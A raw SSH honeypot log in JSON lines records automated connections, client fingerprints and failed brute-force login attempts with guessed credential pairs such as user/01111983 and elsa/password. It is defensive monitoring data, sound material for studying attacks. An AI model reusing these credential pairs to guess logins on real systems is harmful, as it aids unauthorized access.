{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:48:55.859807Z","src_ip":"210.79.190.22","session":"3b21ca0f2fd4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":27245,"dst_ip":"159.203.135.109","dst_port":22,"session":"513375a4144b","protocol":"ssh","message":"New connection: 2.57.121.25:27245 (159.203.135.109:22) [session: 513375a4144b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:49:22.477132Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:49:22.481362Z","src_ip":"2.57.121.25","session":"513375a4144b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:49:22.575557Z","src_ip":"2.57.121.25","session":"513375a4144b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"01111983","message":"login attempt [user/01111983] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:49:23.024678Z","src_ip":"2.57.121.25","session":"513375a4144b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"01101991","message":"login attempt [user/01101991] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:49:24.122689Z","src_ip":"2.57.121.25","session":"513375a4144b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"01061991","message":"login attempt [user/01061991] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:49:25.220033Z","src_ip":"2.57.121.25","session":"513375a4144b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"01031992","message":"login attempt [user/01031992] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:49:26.317636Z","src_ip":"2.57.121.25","session":"513375a4144b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"01031976","message":"login attempt [user/01031976] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:49:27.414273Z","src_ip":"2.57.121.25","session":"513375a4144b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.0","message":"Connection lost after 6.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:49:28.511134Z","src_ip":"2.57.121.25","session":"513375a4144b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.94.92","src_port":57106,"dst_ip":"159.203.135.109","dst_port":22,"session":"44d352160c1f","protocol":"ssh","message":"New connection: 159.223.94.92:57106 (159.203.135.109:22) [session: 44d352160c1f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:49:28.840502Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:49:29.052193Z","src_ip":"159.223.94.92","session":"44d352160c1f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:49:29.317594Z","src_ip":"159.223.94.92","session":"44d352160c1f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"frank","password":"Frank123","message":"login attempt [frank/Frank123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:49:30.286003Z","src_ip":"159.223.94.92","session":"44d352160c1f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:49:31.533411Z","src_ip":"159.223.94.92","session":"44d352160c1f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"40.81.244.142","src_port":49166,"dst_ip":"159.203.135.109","dst_port":22,"session":"04629a1cf1f3","protocol":"ssh","message":"New connection: 40.81.244.142:49166 (159.203.135.109:22) [session: 04629a1cf1f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:49:41.609213Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:49:41.614333Z","src_ip":"40.81.244.142","session":"04629a1cf1f3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:49:41.819342Z","src_ip":"40.81.244.142","session":"04629a1cf1f3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ts3","password":"Ts3123","message":"login attempt [ts3/Ts3123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:49:42.672523Z","src_ip":"40.81.244.142","session":"04629a1cf1f3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:49:43.879298Z","src_ip":"40.81.244.142","session":"04629a1cf1f3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.78.207.244","src_port":37226,"dst_ip":"159.203.135.109","dst_port":22,"session":"b791d5bd4ed2","protocol":"ssh","message":"New connection: 45.78.207.244:37226 (159.203.135.109:22) [session: b791d5bd4ed2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:49:47.801047Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:49:47.806296Z","src_ip":"45.78.207.244","session":"b791d5bd4ed2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:49:48.048272Z","src_ip":"45.78.207.244","session":"b791d5bd4ed2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.105.63.214","src_port":48472,"dst_ip":"10.17.0.5","dst_port":22,"session":"a2f690374387","protocol":"ssh","message":"New connection: 172.105.63.214:48472 (10.17.0.5:22) [session: a2f690374387]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:49:50.248337Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1_DEV","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1_DEV","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:49:50.252247Z","src_ip":"172.105.63.214","session":"a2f690374387","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mariana","password":"1234","message":"login attempt [mariana/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:49:50.255437Z","src_ip":"45.78.207.244","session":"b791d5bd4ed2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57e4cc8ee36c3d78f75c6a05acd55963","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57e4cc8ee36c3d78f75c6a05acd55963","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:49:50.446861Z","src_ip":"172.105.63.214","session":"a2f690374387","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"elsa","password":"password","message":"login attempt [elsa/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:49:50.838891Z","src_ip":"172.105.63.214","session":"a2f690374387","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.7","message":"Connection lost after 3.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:49:51.500315Z","src_ip":"45.78.207.244","session":"b791d5bd4ed2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:49:52.035869Z","src_ip":"172.105.63.214","session":"a2f690374387","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"131.161.249.165","src_port":57338,"dst_ip":"159.203.135.109","dst_port":22,"session":"f508da6951ca","protocol":"ssh","message":"New connection: 131.161.249.165:57338 (159.203.135.109:22) [session: f508da6951ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:50:16.274638Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:50:16.279218Z","src_ip":"131.161.249.165","session":"f508da6951ca","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:50:16.416296Z","src_ip":"131.161.249.165","session":"f508da6951ca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gw","password":"123","message":"login attempt [gw/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:50:16.944196Z","src_ip":"131.161.249.165","session":"f508da6951ca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:50:18.070895Z","src_ip":"131.161.249.165","session":"f508da6951ca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.158.23.150","src_port":43781,"dst_ip":"159.203.135.109","dst_port":22,"session":"b5bbfd72704c","protocol":"ssh","message":"New connection: 185.158.23.150:43781 (159.203.135.109:22) [session: b5bbfd72704c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:50:32.391499Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:50:32.395721Z","src_ip":"185.158.23.150","session":"b5bbfd72704c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:50:32.563725Z","src_ip":"185.158.23.150","session":"b5bbfd72704c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kipt","password":"Kipt123!","message":"login attempt [kipt/Kipt123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:50:33.267487Z","src_ip":"185.158.23.150","session":"b5bbfd72704c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:50:34.437473Z","src_ip":"185.158.23.150","session":"b5bbfd72704c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.187.200.190","src_port":37098,"dst_ip":"159.203.135.109","dst_port":22,"session":"42b2998c2794","protocol":"ssh","message":"New connection: 172.187.200.190:37098 (159.203.135.109:22) [session: 42b2998c2794]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:51:09.593983Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1_DEV","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1_DEV","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:51:09.598695Z","src_ip":"172.187.200.190","session":"42b2998c2794","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57e4cc8ee36c3d78f75c6a05acd55963","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57e4cc8ee36c3d78f75c6a05acd55963","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:51:09.684872Z","src_ip":"172.187.200.190","session":"42b2998c2794","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"voicemail","password":"1234567","message":"login attempt [voicemail/1234567] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:51:09.859368Z","src_ip":"172.187.200.190","session":"42b2998c2794","protocol":"ssh"}
